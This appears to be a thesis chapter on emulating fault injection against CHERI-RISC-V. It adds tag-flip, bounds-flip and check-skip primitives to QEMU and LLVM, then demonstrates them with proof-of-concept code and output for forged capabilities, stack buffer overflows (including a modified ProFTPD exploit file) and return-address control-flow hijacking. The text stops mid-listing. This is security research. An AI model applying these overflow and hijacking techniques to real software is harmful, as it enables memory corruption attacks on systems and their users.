To answer the main research question — whether fault injection can undermine CHERI’s memory-safety guarantees (§ 5.2) — the experimental evaluation must demonstrate concrete attack scenarios: buffer overflows, control-flow hijacking, data-only attacks, and use-after-free. Each of these attacks requires bypassing a specific CHERI enforcement mechanism. Buffer overflows and control-flow hijacking require writes beyond a capability’s authorised bounds, either through extending the bounds or skipping the check that validates the bounds before the store executes; control-flow hijacking additionally may require restoring a cleared tag to craft or manipulate the return address capability. Use-after-free exploits the revocation shadow bitmap, which can be manipulated through an existing programmatic interface (libcaprevoke) without requiring a new emulator primitive. These requirements translate into two classes of faults that must be modelled: bit flips that corrupt stored capability metadata (the tag bit or the compressed bounds encoding), and check skips that suppress the hardware validation performed before a store instruction executes.

These two classes correspond directly to the fault categories introduced in § 6.8. The bit-flip primitives (tag flip and bounds flip) model persistent faults (§ 6.8.2). The check-skip primitives model transient faults (§ 6.8.3).

To inject these faults deterministically and repeatably, three primitives are implemented by modifying the CHERI-RISC-V QEMU emulator and the associated Clang/LLVM compiler toolchain (relevant modified files are listed in Appendix A). On the emulator side, each primitive is realised as a new instruction added to the CHERI-RISC-V target; on the compiler side, each instruction is exposed through a corresponding compiler built-in, allowing the primitives to be invoked directly from C source code. The primitives are:

  • Tag flip (§ 8.1.1): inverts the tag bit of a capability, simulating a persistent bit flip that restores or invalidates a capability’s validity.

  • Bounds flip (§ 8.1.2): flips a single bit in the compressed bounds encoding, simulating a persistent bit flip that extends or shifts the authorised memory region.

  • Check skip (§ 8.1.3): suppresses metadata validation before a store instruction executes, simulating a transient fault that bypasses the check logic while the store itself still completes. Three width variants are implemented: capability-width (tag-preserving), byte, and doubleword.

The following subsections describe each primitive in detail. The experimental results demonstrating correct operation of these primitives are presented in § 8.2.

Emulating Faults Affecting CHERIacr@u@CHERI Tags

As described in § 6.2.1 and § 6.6.1, non-capability-aware writes clear the validity tag of any capability stored at the target address. Equally, writing an entire capability via an ordinary store does not preserve its tag, meaning capability injection is impossible: the written value arrives without a valid tag and is rejected by the hardware. Therefore, the tag-flip primitive (ctagflip) is needed to revalidate capabilities whose validity tag has been cleared. It emulates a persistent physical bit flip on the tag bit, through XORing its tag with 1 (see Listing 4.1, line 7), restoring validity to a cleared capability and thereby bypassing CHERI’s tag-based integrity protection.

The implementation (Listing 4.1) follows the structure of the existing ccleartag instruction, which unconditionally clears the tag. The primitive is exposed through __builtin_cheri_tag_flip which is a compiler built-in, i.e., a function defined directly within the compiler rather than in an external library, allowing programmers to invoke hardware-level instructions from C code.

The CHERI_HELPER_IMPL macro prepends helper_ to the function name, a QEMU convention required for the emulator to locate helper function implementations.

Listing 4.1: Tag-flip function implementation in file op_helper_cheri_common.c.

1  void CHERI_HELPER_IMPL(
2      ctagflip(CPUArchState *env, uint32_t cd, uint32_t cb))
3  {
4      /*CTagFlip: Flip the Tag bit to simulate fault
       injection*/
5      const cap_register_t *cbp = get_readonly_capreg(env, cb
       );
6      cap_register_t result = *cbp;
7      result.cr_tag ^= 1;
8      update_capreg(env, cd, &result);
9  }

Emulating Faults Affecting CHERI Bounds

The bounds-flip primitive is needed to write outside the region originally authorised by a capability. Because CHERI traps any access outside a capability’s bounds (§ 6.2.1 and § 6.4.2), flipping a single bit in the compressed encoding can extend those bounds and enable otherwise-prevented writes. The bounds flip operates on the compressed bounds, as that is what a real attack would target when injecting fault through e.g., physical methods.

The cflipbounds function in Listing 4.2 operates directly on the compressed bounds encoding, saved in the ebt variable, described in § 6.4.2. It is called by the do_flipboundsbit, which in turn is called by clflipboundsbit in Listing 4.3.

The __CC_N and CAP_cc macros both act as stand-ins for the capability-format prefix, expanding to e.g., cc128_ at compile time depending on the used capability width (128-bit in this work); __cc_N is used within cheri_compressed_cap_common.h, while CAP_cc is used in op_helper_cheri_common.c.

Step 1: The current compressed bounds fields BB, TT, and EE are recomputed from the capability’s uncompressed base (cr_base) and top (_cr_top) addresses using compute_ebt (see Listing 4.2 line 6–7). This corresponds to the encoding procedure in § 6.4.2: determining the exponent EE, the internal exponent IEI_E, then extracting the relevant bits of bb and tt into BB and TT.

Step 2: A single bit at the specified index within the resulting ebt field is flipped via XOR with the bit-mask (see Listing 4.2 line 10), which was computed in Listing 4.3 line 8. This directly modifies the stored BB or TT bits (or, for bit 27, the IEI_E boundary between them), corrupting the compressed encoding.

Step 3: The modified ebt is decoded back into uncompressed base and top addresses using compute_base_top (see Listing 4.2 lines 15–18). This performs the decoding procedure from § 6.4.2.

Step 4: The capability’s internal fields are updated with the new base, top, and compressed encoding (see Listing 4.2 lines 20–23).

Listing 4.2: Bounds-flip helper function implementation in file cheri_compressed_cap_common.h. This function extends the compressed encoding/decoding logic (e.g., bounds computation) to support the new operation on the capability bounds.

static inline bool __cc_N(flipbounds)
(__cc_cap_t* cap, uint64_t mask)
{
    // 1. get the ebt of the original capability
    bool exact = false;
    uint32_t old_ebt = __cc_N(compute_ebt)(cap->cr_base,
        cap->_cr_top, NULL, &exact);

    // 2. Flip the bit at bitindex in the old_ebt
    uint64_t shifted_ebt = old_ebt ^ mask;

    // 3. Compute the new bounds
__CC_addr_t new_base;
__CC_length_t new_top;
bool new_bounds_valid = __CC_N(compute_base_top)
    (__CC_N(extract_bounds_bits)
    (_CC_ENCODE_FIELD(shifted_ebt, EBT)),
    cap->_cr_cursor, &new_base, &new_top);

cap->cr_base = new_base;
cap->_cr_top = new_top;
__CC_N(update_ebt)(cap, shifted_ebt);
cap->cr_bounds_valid = new_bounds_valid;
return new_bounds_valid;
}

Listing 4.3: Bounds-flip function implementation in file op_helper_cheri_common.c

static void do_flipboundsbit(CPUArchState *env, uint32_t cd,
    uint32_t cb, target_ulong bitindex,
    uintptr_t _host_return_address)
{
    const cap_register_t *src =
        get_readonly_capreg(env, cb);
    cap_register_t result = *src;
    uint64_t mask = 1ULL << (bitindex & 63);

    (void)CAP_cc(flipbounds)(&result, mask);
    // Write back to destination cap register
    update_capreg(env, cd, &result);
}

void CHERI_HELPER_IMPL(cflipboundsbit(CPUArchState *env,
    uint32_t cd, uint32_t cb, target_ulong bitindex))
{
    do_flipboundsbit(env, cd, cb, bitindex, GETPC());
}

The flipbounds function in Listing 4.2 returns a boolean indicating whether the resulting bounds are valid and the do_flipbounds function in Listing 4.3 returns a new capability with the newly constructed bounds. The built-in __builtin_cheri_bounds_flip invokes this instruction.

Emulating Faults Affecting CHERI Metadata Checks

The check-skip primitives test whether skipping CHERI’s metadata validation (see § 6.8.3) provides an alternative path to buffer overflows than persistent bit flips of capability metadata. Rather than corrupting the bounds field, these primitives suppress the validation checks that CHERI performs before a store instruction executes (see § 6.6.1), allowing the write to proceed regardless of the buffer’s declared bounds.

Three variants are implemented, covering the relevant store widths:

  • Capability-width store (store_cap_via_cap_skip_checks): bypasses all CHERI checks before a capability-aware store. This is needed to overwrite the saved return address with a completely new executable capability while preserving the tag of the written capability.

  • Byte store (store_byte_cap_skip_checks) and doubleword store (store_doubleword_cap_skip_checks): bypass bounds validation before non-capability writes. These are needed to write padding bytes between the buffer and the target location.

The byte and doubleword variants represent the smallest and largest non-capability write granularities and are sufficient to cover the full range of padding operations needed in the check skip CFH variant (§ 8.11.0.2). The same infrastructure can be extended to halfword and word stores by reusing the same translation logic with different memory-operation parameters.

Note that all check-skip primitives require a specific vulnerability to be present in order to exercise them. Their effectiveness was therefore checked as part of the CFH attack scenarios (see § 8.11.0.2).

Capability-Width Check Skip

The store_cap_via_cap_skip_checks function shown in Listing 4.4 is derived from store_cap_via_cap, which stores a capability via a capability pointer; the only difference is the omission of the cap_check_common_reg call, which is normally responsible for validating the metadata (§ 6.6.1). Because the store itself remains capability-aware, the tag of the written capability is preserved.

Listing 4.4: Capability store check skip function implementation in file op_helper_cheri_common.c

void CHERI_HELPER_IMPL(store_cap_via_cap_skip_checks
    (CPUArchState *env, uint32_t valreg, target_ulong addr,
    uint32_t authreg))
{
    GET_HOST_RETPC();
    store_cap_to_memory(env, valreg, authreg, addr,
        _host_return_address);
}
Byte and Doubleword Check Skip

The byte and doubleword variants operate at a different level of the emulator. Whereas the capability-width skip is implemented as a helper function that directly omits the cap_check_common_reg validation call before writing to memory, the non-capability variants are implemented at a different layer of the emulator. Rather than modifying a helper function (like the capability-width variant), they intercept the store at the point where QEMU translates guest instructions into executable host code, emitting a store that reads the address from the capability register but skips the bounds and permission checks that would normally precede it. The effect is the same (the store executes unconditionally) but the implementation differs because non-capability stores do not pass through the same helper infrastructure as capability-aware stores (Appendix A.0.3). Unlike the capability-width variant, these stores are not tag-preserving: they write raw bytes and will clear the tag of any capability overlapping the written region or being written.

Attack Implementation

The following attack scenarios model the effects of physical fault injection (§ 6.8) against a pure-capability CHERI-RISC-V system. Each scenario represents a concrete exploitation goal: crafting a forged capability (§ 8.2.1), injecting a pointer (§ 8.2.2), achieving a buffer overflow (§ 8.2.3), hijacking control flow (§ 8.2.4), corrupting non-control-flow data (§ 8.11.1), and exploiting a use-after-free condition (§ 8.11.2). For each scenario, both the implementation and the experimental results are presented together. Additionally, this section includes the results of the fault injection primitives introduced in § 8.1 and investigates whether the fault classes introduced in § 6.8 (bit flips and check skips) are sufficient to achieve the exploitation goals despite CHERI’s protections.

Crafted Pointer

This scenario models a single bit flip in tag memory to determine whether a forged capability can be made usable by restoring its validity bit: it verifies that flipping the tag bit of an already-invalidated capability produces a valid, usable capability, and that flipping the tag of a valid capability invalidates it. Confirming this behaviour is a prerequisite for relying on the primitive in the more complex attack scenarios that follow.

To test the tag-flip function explained in § 8.1.1, we simply call the built-in function on the target capability:

pointer = __builtin_cheri_tag_flip(pointer);

Listing 4.5 shows that the tag-flip function succeeded, allowing us to craft or manipulate pointers. Applying the tag flip built-in to an existing capability toggles its validity: a valid capability becomes invalid (lines 6–7) and an invalid capability is restored (lines 4–5), each with a single bit flip.

Listing 4.5: Output when applying tag-flip built-in to an invalid capability.

# ./bitflipTag
Original:
    r=0x3fffdffe00 [rwRW,0x3fffdffd61-0x3fffdfff60] (
    invalid) (0x9f)
Flipping Tag:
    r=0x3fffdffe00 [rwRW,0x3fffdffd61-0x3fffdfff60]
Flipping Tag again:
    r=0x3fffdffe00 [rwRW,0x3fffdffd61-0x3fffdfff60] (
    invalid) (0x9f)

Pointer Injection

This scenario extends the crafted pointer test to a more realistic setting. When a capability is transmitted across a process boundary via a pipe, the tag is absent from the transmission entirely, because tags are stored separately from the capability’s data bits and are not part of the byte stream transferred by the Inter-Process Communication (IPC) mechanism (see § 6.2). The received capability therefore has no tag, rather than a tag that has been cleared by a non-capability-aware write. This scenario verifies that the tag-flip primitive can restore the tag in this case as well, since the same bit-flip mechanism applies regardless of how the tag was originally lost. This is relevant to any exploit that involves receiving or harvesting capability values through channels that do not preserve tags.

For this test, we reuse one of the Adversarial CHERI Exercises and Missions [71] examples provided by the CHERI Github project, called "Demonstrate pointer injection". This example uses a pipe IPC to inject the pointer, which we revalidate in Listing 4.6.

const char hello[] = "Hello world!";

int main(void)
{
    int fds[2];
    pid_t pid;
    const char *ptr;

    if (pipe(fds) == -1)
        err(1, "pipe");
    if ((pid = fork()) == -1)
        err(1, "fork");
    if (pid == 0) {
        ptr = hello;
        if (write(fds[0], &ptr, sizeof(ptr)) != sizeof(
ptr))
            err(1, "write");
    } else {
        if (read(fds[1], &ptr, sizeof(ptr)) != sizeof(ptr
))
            err(1, "read");
        ptr = __builtin_cheri_tag_flip(ptr);
        printf("received %s\n", ptr);
    }

    return 0;
}

Listing 4.7 shows the behaviour when the injected pointer is used directly, without tag revalidation. In this case, CHERI strips the tag from the capability. during the pipe transfer, and the subsequent dereference raises an in-address-space security exception, terminating the process.

Listing 4.8 shows the result when __builtin_cheri_tag_flip is applied to the received capability before dereferencing it, as implemented in Listing 4.6. The tag is restored, the dereference succeeded, and the string "Hello world!" is printed correctly.

Together, the two outputs confirm that the tag-flip built-in successfully revalidates a capability that has been stripped of its tag through an IPC transfer.

Listing 4.7: Output when running pointer injection normally on CHERI without applying the tag-flip built-in (see Listing 4.6).

1  # ./ptr-over-pipe-cheri
2  In-address space security exception (core dumped)

Listing 4.8: Output when running pointer injection on CHERI with applying the tag-flip built-in (see Listing 4.6).

1  # ./ptr-over-pipe-cheri-tagflip
2  received Hello world!

Buffer Overflow

This scenario models a persistent bit flip in the compressed bounds encoding of a stack-allocated buffer capability to determine whether a single fault can extend the authorised region sufficiently to enable an out-of-bounds write, which is the prerequisite for the CFH and data-only attacks that follow.

The buffer overflow relies on the bounds-flip primitive (§ 8.1.2) to extend the capability’s authorised region. Listing 4.9 validates this primitive in isolation by calling the bounds-flip built-in on a capability:

pointer = __builtin_cheri_bounds_flip(pointer, index);

With this we show that flipping different bit indices within the compressed bounds field produces predictable changes to the lower and upper bounds of the capability.

Listing 4.9: Output when applying the bounds-flip built-in with different bit indices to capability r.

1  # ./bitflipBounds
2  Capability r     : r=0x3fffdffd31[rwRW,0x3fffdffd31–0
                     x3fffdfff30]
3
4  Flipp index 1    : r=0x3fffdffd31[rwRW,0x3fffdffd33–0
                     x3fffdfff30]
5  Flipped index 2  : r=0x3fffdffd31[rwRW,0x3fffdffd35–0
                     x3fffdfff30]
6  Flipped index 3  : r=0x3fffdffd31[rwRW,0x3fffdffd39–0
                     x3fffdfff30]
7  Flipped index 11 : r=0x3fffdffd31[rwRW,0x3fffdff531–0
                     x3fffdfff30]
8  Flipped index 12 : r=0x3fffdffd31[rwRW,0x3fffdfed31–
                     0x3fffdfef30]
9  Flipped index 13 : r=0x3fffdffd31[rwRW,0x3fffdfdd31–
                     0x3fffdfdf30]
10 Flipped index 20 : r=0x3fffdffd31[rwRW,0x3fffdffd31–
                     0x3fffdffd70]
11 Flipped index 21 : r=0x3fffdffd31[rwRW,0x3fffdffd31–
                     0x3fffdfffb0]
12 Flipped index 25 : r=0x3fffdffd31[rwRW,0x3fffdffd31–
                     0x3fffe00730]

The output shows that flipping bits 0–11 affects only the base (lower bound), while bits 14–26 affect only the top (upper bound). Bits 12 and 13 are a special case: they are the bits of the BB field used in the reconstruction of TT, see Equation (1), so flipping them shifts both bounds simultaneously. For a buffer overflow (§ 6.1.2), only the top bits (14–26) are relevant, since extending the upper bound is what allows writing past the end of the buffer. Since the bit flip operates on the compressed representation, the specific bit index required to achieve a target bound must be computed from the compression encoding in advance (see § 6.4.2).

We verified the overflow using a simple buffer overflow example (Listing 4.10) and the ProFTPD DOP-attack files [36, 72]. For the ProFTPD Listing 4.11 shows the relevant changes to dopserv.c: lines 143–145 are executed when compiling for CHERI pure capability mode, extending the buffer bounds; otherwise line 147 is executed as in the original version.

Listing 4.10: Buffer overflow demonstration, with a bounds extension through the bounds-flip built-in and an out-of-bounds write through lower, which should reach upper[0].

1  void write_buf(char *buf, size_t ix)
{ buf[ix] = 'b'; }

int main(void)
{
    char upper[0x10];
    char lower[0x10];
    char *lower_mod = lower;
    lower_mod = __builtin_cheri_bounds_flip(lower, 21);
    printf("upper = %p, lower = %p, lower_mod = %p,
        diff = %zx\n", upper, lower, lower_mod,
        (size_t)(upper - lower));

    /* Ensure upper is placed directly above lower */
    assert((ptraddr_t)upper ==
        (ptraddr_t)&lower[sizeof(lower)]);

    upper[0] = 'a';
    printf("upper[0] = %c\n", upper[0]);

    /* Write 'b' at lower[16] => out-of-bounds write */
    write_buf(lower_mod, sizeof(lower));
    printf("upper[0] = %c\n", upper[0]);
    return 0;
}

Listing 4.11: Changes on the ProFTP DOP-attack dopserv.c file to achieve a buffer overflow on CHERI.

[...]
char *sreplace(char *s, ...) {
    va_list args;
    char *m,*r,*src = s,*cp;
    char **mptr,**rptr;
    char *pbuf = NULL;
    size_t mlen = 0, rlen = 0, blen;
    int dyn = TRUE;
    char *marr[33],*rarr[33];
    char buf[PR_TUNABLE_PATH_MAX] = {'\0'};
#ifdef __CHERI_PURE_CAPABILITY__
    printf("Pointer Buffer: r=%#p\n", buf);
    cp = __builtin_cheri_bounds_flip(buf, 25);
    printf("Pointer: r=%#p\n", cp);
#else
    cp = buf;
#endif
149  *cp = '\0';
150  [...]

Listings 4.12 and 4.13 demonstrates that the bounds-flip primitive enables a buffer overflow that would otherwise raise a CHERI exception. Without bounds extension, an out-of-bounds write triggers an in-address-space security exception and the process terminates (Listing 4.12). After extending the upper bound of the buffer capability with a single bit flip, the same write completed without a fault (Listing 4.13).

Listing 4.12: Output of Listing 4.10 on CHERI without bounds extension.

1  # ./buffer-overflow-stack
2  upper = 0x3fffdfff30 [rwRW,0x3fffdfff30-0x3fffdfff40],
3  lower = 0x3fffdfff20 [rwRW,0x3fffdfff20-0x3fffdfff30],
4  diff = 10
5  upper[0] = a
6  In-address space security exception (core dumped)

Listing 4.13: Output of Listing 4.10 on CHERI with bounds extension.

1  # ./buffer-overflow-stack-boundsflip
2  upper = 0x3fffdfff30 [rwRW,0x3fffdfff30-0x3fffdfff40],
3  lower = 0x3fffdfff20 [rwRW,0x3fffdfff20-0x3fffdfff30],
4  lower_mod = 0x3fffdfff20 [rwRW,0x3fffdfff20-
   0x3fffdfffb0],
5  diff = 10
6  upper[0] = a
7  upper[0] = b

The same behaviour is observed in the ProFTPD DOP-attack files [36]. Without bounds extension the overflow is caught (Listing 4.14), whereas with the bounds extension described in § 8.2.3 the overflow works (Listing 4.15).

Listing 4.14: Excerpt of output of ProFTPD DOP-attack CVE-2006-5815 [36] on CHERI without bounds extension.

1  # ./dopserv-cheri < payload_overflow_test.bin
2  [...]
3  changing to AAAAAAAAAAAAAAAA
4  In-address space security exception (core dumped)

Listing 4.15: Excerpt of output of ProFTPD DOP-attack [36] on CHERI with bounds extension.

1  # ./dopserv-cheri-extendBounds  < payload_overflow_test.
   bin
2  [...]
3  changing to AAAAAAAAAAAAAAAA
4  Pointer Buffer: r=0x3fffdfef80 [rwRW,0x3fffdfef80-0
   x3fffdff380]
5  Pointer: r=0x3fffdfef80 [rwRW,0x3fffdfef80-0x3fffdffb80]
6  ERRRO: WARNING: attempt to overflow internal
7      ProFTPD buffers220
8  [...]

Both examples confirm that flipping a single bit in the bounds field of a stack-allocated buffer capability is sufficient to extend its upper bound beyond the intended allocation, enabling writes to memory outside the original buffer without triggering a CHERI exception.

Control-Flow Hijacking

This section describes methods for achieving control-flow hijacking via a stack-based buffer overflow on CHERI under aa physical injections thread model.

Two distinct methods are presented, each representing a different solution to the central challenge identified during the initial attempt: ensuring that the overwritten saved return address carries a valid hardware tag. The results of these experiments are reported directly after the implementation.

Initial Attempt

Both attack methods described in this section originate from an initial attempt at a stack-based control-flow hijack on CHERI that directly followed the pattern on classical architectures. This initial version applied the bounds-flip function to extend the buffer bounds and subsequently performed a byte-by-byte overflow of the buffer to overwrite the saved return address on the stack with the address of a target function (see § 6.1.4.1). While the bounds extension successfully suppressed the out-of-bounds exception, the attempt failed at the point of return: the non-capability-aware byte writes used to perform the overflow automatically cleared the hardware tag of the overwritten return address.

This shows that the overwritten return address slot must contain a valid, tagged capability, not merely the correct address bits. The two methods that follow represent distinct solutions to this problem.

Method 1: Tag Restoration via Two Bit Flips

The first method accepts that a non-capability-aware overwrite will invalidate the hardware tag and compensates by restoring it afterwards with a single bit flip. Under the threat model assumed in this work (§ 7.2), the adversary would induce this bit flip in tag memory at a precise moment: after the corrupted return address has been loaded back into the cra register from the stack, but before the cret instruction executes the jump. Modelling this precise timing with the language-level emulated primitives requires inline assembly, for the following reasons. There is no suitable means of accessing the cra register or stack directly from C code, and even with inline assembly the stack offset at which the saved return address resides cannot be reliably determined prior to compilation. Therefore, the tag flip must be applied to the cra register itself after the overwritten value has been loaded back into it from the stack, but before the jump is executed. This requires the function epilogue to be written manually in assembly. This is not a modification an attacker would make to the victim code; it is an artefact of modelling instruction-level fault timing within a language-level emulation framework.

We implemented CFH in the following steps:

Step 1: Naked Function and Helper Separation

Because the epilogue must be written manually, the hijack function is declared with __attribute__((naked)), which instructs the compiler to emit no prologue or epilogue of its own. However, a naked function also means that no C statements can safely appear in the function body since there is no compiler-managed stack frame to support them. The interactive elements of the attack, the printf calls, the scanf calls, and the bounds-flip operation, cannot be written in assembly without considerable additional complexity. They are therefore factored out into a separate helper function, hijack_helper, which is a normal C function with a compiler-managed stack frame.

Step 2: Placing the Buffer in the Correct Stack Frame

An important constraint when writing the helper function is that the overflow must occur within the stack frame of the naked hijack function rather than within the stack frame of the helper. It is the saved return address of hijack that is the attack target; if the buffer were allocated inside hijack_helper, an overflow could at most corrupt the saved return address of hijack_helper, which is not the intended behaviour. The buffer must therefore be allocated within the manually managed stack frame of hijack and passed as an argument to hijack_helper. This ensures that writes performed by the helper via scanf go into the stack frame of hijack, since the buffer resides there.

Step 3: Inspecting the Assembly

We compiled and disassembled a non-naked C version of the complete function to determine the prologue/epilogue structure: the stack frame size, callee-saved register offsets, and the location of the saved cra. This provided the template for the manual assembly prologue and epilogue. The assembly output also showed how the compiler constructs the buffer capability and places it into the first capability argument register ca0 under the CHERI ABI. This pattern was reproduced manually, using cincoffset and csetbounds before moving the result into ca0 and issuing the call to the helper.

Step 4: Overflow and Return Address Overwrite

Within hijack_helper, the bounds-flip function (§ 8.1.2) is applied to the buffer capability, extending its effective bounds to encompass the saved return address slot in the parent stack frame. The use of scanf at run-time is necessary because the address of hidden_function can only be determined then. Subsequently, scanf is used to read the overflow payload as individual hexadecimal bytes using the %2x format specifier. This approach ensures that each supplied byte value is written to the stack exactly as provided. The objective is to write the padding bytes needed to reach the saved return address, followed by the address of the target function in little-endian byte order as obtained from the run-time inspection described in Step 6.

After the overflow, the saved return address slot on the stack contains the correct address of the target function but carries an invalid hardware tag (as established in § 8.2.4.1).

Step 5: Tag Restoration in the Epilogue

The tag is restored by inserting the ctagflip instruction in the manually written epilogue of hijack, after the saved cra is loaded from the stack and before cret is executed (see Listing 4.18 line 31). At this point, cra holds the overwritten address with an invalid tag; ctagflip sets the tag to valid, and cret subsequently transfers control to the target function.

Step 6: Run-time Layout Inspection

Once the implementation is complete and compiled, the program is executed under GDB to obtain the concrete run-time values required as input. Setting a breakpoint inside the naked hijack function and inspecting the stack allows the address at which cra is saved to be determined, from which the number of padding bytes needed to reach it from the buffer can be calculated. The address of hidden_function (see Listing 4.16), whose execution demonstrates a successful control-flow hijack, is likewise obtained via GDB. From these values, together with the run-time address of the buffer, the exact padding length and the little-endian byte sequence encoding the target function address are derived and supplied as input to scanf during execution of the attack. Note that under the binary access assumption (see § 7.2), an attacker would derive the required offset through static analysis of the binary rather than requiring GDB access to the target device.

The following Listings 4.16 to 4.18 show the relevant code snippets for this method of CFH.

Listing 4.16: A function that is never called during normal execution, to demonstrate whether the CFH was successful.

void hidden_function() {
    printf("This is the hidden function!\n");
    exit(0);
}

Listing 4.17: Helper function holding the interactive elements of Method 1.

void hijack_helper(char* buf_cap){
    printf("Pointer: r=%" PRINTF_PTR "\n", buf_cap);
    int index = 0;
    printf("Enter some number: ");
    scanf("%d", &index);
7  buf_cap = __builtin_cheri_bounds_flip(buf_cap, index);
8  printf("Pointer: r=%#p\n", buf_cap);
9
10 printf("Enter some text: ");
11 unsigned int byte;
12 int i = 0;
13
14 while (scanf("%2x", &byte) == 1) {
15     buf_cap[i++] = byte;
16 }
17 printf("You entered: %s\n", buf_cap);
18 }

Listing 4.18: Assembly Part of the control-flow hijacking for Method 1.

1  __attribute__((naked))
2  void hijack(){
3      asm volatile (
4          /*Prologue*/
5          "cincoffset csp,csp,-144\n"
6          "csc cra,128(csp)\n"
7          "csc cs0,112(csp)\n"
8          "csc cs1,96(csp)\n"
9          "csc cs2,80(csp)\n"
10         "csc cs3,64(csp)\n"
11         "csc cs4,48(csp)\n"
12
13         /*create buffer capability at csp+32 length=16*/
14         "cincOffset ca0, csp, 32\n"
15         "csetbounds cs1, ca0, 16\n"
16
17         /*put buffer into first capability argument
18         register*/
19         "cmove ca0, cs1\n"
20
21         "ccall hijack_helper\n"
22
23         /*Epilogue*/
24         "clc cra,128(csp)\n"
25         "clc cs0,112(csp)\n"
26         "clc cs1,96(csp)\n"
27         "clc cs2,80(csp)\n"
28         "clc cs3,64(csp)\n"
29         "clc cs4,48(csp)\n"
29    "cincoffset csp,csp,144\n"
30    "ctagflip cra, cra\n"
31    "cret\n"
32    :
33    :
34    : "memory"
35 );
36 }

Method 1 successfully redirected control flow to hidden_function, as shown in Listing 4.19.

Because hijack() is declared with __attribute__((naked)), the stack frame is configured manually, making the payload size deterministic ahead of time: five callee-saved registers must be overwritten before reaching the saved return address. In the example shown in Listing 4.19, this yields a fixed payload of 96 bytes of padding followed by the address of hidden_function in little-endian byte order. The address itself must be resolved at run-time, for example via GDB as shown in Listing 4.19.

Listing 4.19: Excerpt of output of CFH Method 1.

 1  # gdb ./hijackTag
 2  [...]
 3  (gdb) info address hidden_function
 4  Symbol "hidden_function" is a function at address 0
    x101b5e.
 5  (gdb) c
 6  Continuing.
 7  Pointer: r=0x3fffdfff00 [rwRW,0x3fffdfff00-0x3fffdfff10]
 8  Enter some number: 23
 9  Pointer: r=0x3fffdfff00 [rwRW,0x3fffdfff00-0x3fffe00d10]
10  Enter some text: 61 [omitted 95 times 61]
11  5e 1b 10 00 00 00
12  [...]
13  This is the hidden function!
14  [Inferior 1 (process 2417) exited normally]

Note that hidden_function calls exit(0) upon completion (see Listing 4.16); without this, execution would loop indefinitely.

Method 2: Capability-Aware Overwrite via a Single Bit Flip

The second method addresses the core problem identified by the initial failed attempt from a different angle: rather than accepting tag invalidation and correcting it after the fact, the objective is to prevent tag invalidation from occurring in the first place. This is achieved by replacing the non-capability-aware byte writes with a capability-aware memory operation, ensuring that the hardware tag of the written value is preserved throughout. This eliminates the need for a tag-restoration bit flip, so that only a single fault injection (the bounds extension) is required. It also removes the necessity of a naked function or manual assembly.

However, the saved return address on the stack is not an ordinary capability: it is a sentry capability (see § 6.2.1), which makes partial in-place modification of the saved return address through capability aware instructions insufficient.

The alternative is to replace the entire saved return address capability with a freshly constructed capability pointing to the target function. For this substitution to succeed, the replacement must be a valid, tagged, executable capability, and it must be written to the stack using a capability-aware operation so that its tag is preserved in memory.

An additional consequence of this approach is based on the fact that RISC-V (and by extension CHERI-RISC-V) does not use dedicated push/pop instructions for stack management (see § 6.1.4.1). Therefore, once the return address in cra is overwritten and the function returns, every subsequent return instruction will use the same overwritten cra, resulting in an infinite loop of re-executing the target function (detailed explanation in § 9.7).

The ability to write to the saved return address slot on the stack is governed not by the permissions of the return address capability itself, but by the permissions of the capability used to perform the write. The return address capability’s lack of write permission means only that the return address capability cannot itself be used to write to the memory region it points to. Any other capability that carries write permission and whose bounds encompass the saved return address on stack may be used to write to that location. The buffer capability, which is used here, satisfies both conditions.

This CFH is shown in Listing 4.20 and we implemented it in the following steps:

Step 1: Bounds Extension As in Method 1, the bounds-flip primitive (§ 8.2.4.2) is applied to the buffer capability, extending its effective bounds to encompass the saved return address slot.

Step 2: Padding to the Return Address via scanf

The scanf function is subsequently used to write individual bytes into the extended buffer using the %2x format specifier. scanf is used because the padding count depends on the compiler-generated stack layout.

Unlike Method 1, the objective at this stage is solely to write padding bytes up to the start of the saved return address slot; the return address itself should not be overwritten at this point.

Step 3: Crafting the Replacement Capability

A new capability pointing to the target function (see Listing 4.16) is constructed as:

void *cap_to_hidden = &hidden_function;

Taking the address of a function in the pure-capability CHERI compilation model yields a tagged, executable capability directly, because function pointers in this ABI are derived from the PCC at the point of their construction [14]. No additional steps are therefore required to obtain a capability suitable for use as a replacement return address. In a realistic scenario, the attacker would not construct this capability directly but rather harvest an existing one from the program’s address space, as discussed in § 9.3.

Step 4: Capability-Aware Overwrite via memcpy

The replacement capability is written to the saved return address slot using:

memcpy((intptr_t*)&buffer_point[i], &cap_to_hidden,
       sizeof(void * __capability));

memcpy is capability-aware in CHERI (see § 6.2.1): when the source and destination are 16-byte aligned and the copy size is 16-byte aligned, then it uses a capability-aware store, preserving the hardware tag. Therefore, after this step, the saved return address slot holds a valid, tagged, and executable capability pointing to cap_to_hidden requiring no second bit flip.

Step 5: Run-time Layout Inspection

Similarly to Method 1 Step 6, the concrete padding length is determined at run-time via GDB. Note that like mentioned in Method 1 Step 6 the attacker has binary access in our thread model (see § 7.2) and would derive the offset through static analysis.

Note: The compiler emits an alignment warning because it cannot statically guarantee that buffer_point[i] is 16-byte aligned.

as required for capability stores. Casting the destination to intptr_t* suppresses this warning; at run-time, the alignment is satisfied because the target location (the saved return address slot) is naturally aligned within the stack frame.

Listing 4.20 shows the relevant code snippet of this version of CFH.

Listing 4.20: Main functionality of the control-flow hijack implementation of Method 2.

void hijack(){
    char buffer[16] __attribute__((aligned(16)));
    char *buffer_point = buffer;
    printf("Pointer: r=%" PRINTF_PTR "\n", buffer_point);

    int index = 0;
    printf("Enter some number for bounds extension: ");
    scanf("%d", &index);
    buffer_point = __builtin_cheri_bounds_flip(buffer,
    index);
    printf("Pointer: r=%#p\n", buffer_point);

    printf("Enter the text needed to reach return address
    on
        stack: ");
    unsigned int byte;
    int i = 0;

    while (scanf("%2x", &byte) == 1) {
        buffer_point[i++] = byte;
    }

    /* round i up to ensure 16-byte alignment */
    i = (i + 15) & ~15;
    void *cap_to_hidden = &hidden_function;
    printf("Print cap_to_hidden: r=%" PRINTF_PTR "\n",
        cap_to_hidden);

    memcpy((intptr_t*)&buffer_point[i], &cap_to_hidden,
        sizeof(void * __capability));

    return;
}

Method 2 successfully redirected control flow to hidden_function with a single bit flip, as shown in Listing 4.21.

Unlike Method 1, the payload size cannot be determined statically, because the stack layout depends on compiler decisions. It must therefore be derived at run-time, for example by inspecting the frame with GDB. In the example shown in Listing 4.21, the saved return address cra resides at 0x3fffdfff60 and the buffer begins at 0x3fffdfff00, resulting in a padding length of 96 bytes to reach the cra.

Listing 4.21: Excerpt of output of CFH Method 2.

1  (gdb) r
2  Starting program: /workspace/hija/hijackMem
